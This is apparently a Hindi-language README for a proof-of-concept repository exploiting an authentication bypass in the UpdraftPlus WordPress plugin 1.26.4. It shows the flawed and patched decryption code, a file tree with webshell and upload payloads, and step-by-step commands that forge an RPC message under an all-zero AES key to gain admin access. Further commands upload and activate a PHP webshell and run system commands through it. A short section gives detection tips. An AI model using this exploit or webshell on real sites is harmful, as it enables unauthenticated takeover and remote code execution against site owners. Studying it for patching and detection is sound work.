// updraftplus/includes/class-remote-communications-v2.php
// Lines 460-491 (version 1.26.4)

$sym_key = $rsa->decrypt($sym_key);
// ❌ No return value check!

$rij->setKey($sym_key);  // false → all-zero key
return $rij->decrypt($ciphertext);

$sym_key = $rsa->decrypt($sym_key);

// ✅ Added in 1.26.5
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);

updraftplus-auth-bypass/
├── README.md
├── poc.py                  # मुख्य एक्सप्लॉइट स्क्रिप्ट
├── requirements.txt        # Python निर्भरताएँ
├── payloads/
│   ├── list_plugins.py     # स्थापित प्लगइन सूचीबद्ध करें
│   ├── upload_shell.py     # वेबशेल प्लगइन अपलोड करें
│   └── activate_plugin.py  # अपलोड किए गए प्लगइन को सक्रिय करें
├── shell/
│   ├── build_shell.py      # वेबशेल ZIP बनाएँ
│   └── test-shell.php      # न्यूनतम PHP वेबशेल
└── docs/
    ├── technical-analysis.md
    └── patch-diff.md

git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt

requests==2.31.0
pycryptodome==3.20.0

https://www.apachefriends.org
प्रारंभ: Apache + MySQL

# WordPress को htdocs में रखें
C:/xampp/htdocs/wordpress/

# कमजोर प्लगइन संस्करण स्थापित करें
# डाउनलोड: https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4

WordPress एडमिन → सेटिंग्स → UpdraftPlus → UpdraftCentral टैब → कनेक्ट करें

python poc.py --url http://localhost/wordpress/ --user-id 1

python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins

# चरण 1: शेल ZIP बनाएँ
python shell/build_shell.py

# चरण 2: अपलोड करें
python poc.py --url http://localhost/wordpress/ --cmd upload_shell

# चरण 3: सक्रिय करें
python poc.py --url http://localhost/wordpress/ --cmd activate_shell

# चरण 4: RCE का परीक्षण करें
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"

poc.py
  │
  ├─ 1. खराब RSA-एन्क्रिप्टेड sym_key (गार्बेज बाइट्स) बनाएँ
  │
  ├─ 2. ZERO AES-128 कुंजी (0x00 * 16) के साथ RPC पेलोड को एन्क्रिप्ट करें
  │
  ├─ 3. udrpc_message बनाएँ:
  │       [3-बाइट हेक्स लंबाई][नकली sym_key][16-बाइट हेक्स सिफरलेन][सिफरटेक्स्ट]
  │
  ├─ 4. लक्ष्य पर POST करें (कोई प्रमाणीकरण, कोई नॉन्स, कोई कुकीज़ आवश्यक नहीं)
  │
  └─ 5. सर्वर-साइड:
          rsa->decrypt(garbage) → false
          setKey(false)         → 0x00 key
          decrypt(ciphertext)   → हमारा पेलोड ✅
          wp_set_current_user() → एडमिन एक्सेस
          RPC कमांड निष्पादित  → RCE 💀

अपडेट करें UpdraftPlus को तुरंत संस्करण 1.26.5 पर।

# udrpc_message के साथ संदिग्ध POST अनुरोधों की तलाश करें
grep "udrpc_message" /var/log/apache2/access.log

# Wordfence उपयोगकर्ता 3 जून, 2026 से सुरक्षित हैं

- अप्रत्याशित प्लगइन स्थापनाएँ
- wp-content/plugins/ में नई PHP फ़ाइलें
- udrpc_message पैरामीटर के साथ WordPress रूट पर POST अनुरोध
- WordPress लॉग में अप्रत्याशित एडमिन-स्तरीय क्रियाएँ

MIT License – केवल शैक्षिक उपयोग के लिए।
जिन प्रणालियों के आप स्वामी नहीं हैं, उनके विरुद्ध अनधिकृत उपयोग अवैध है।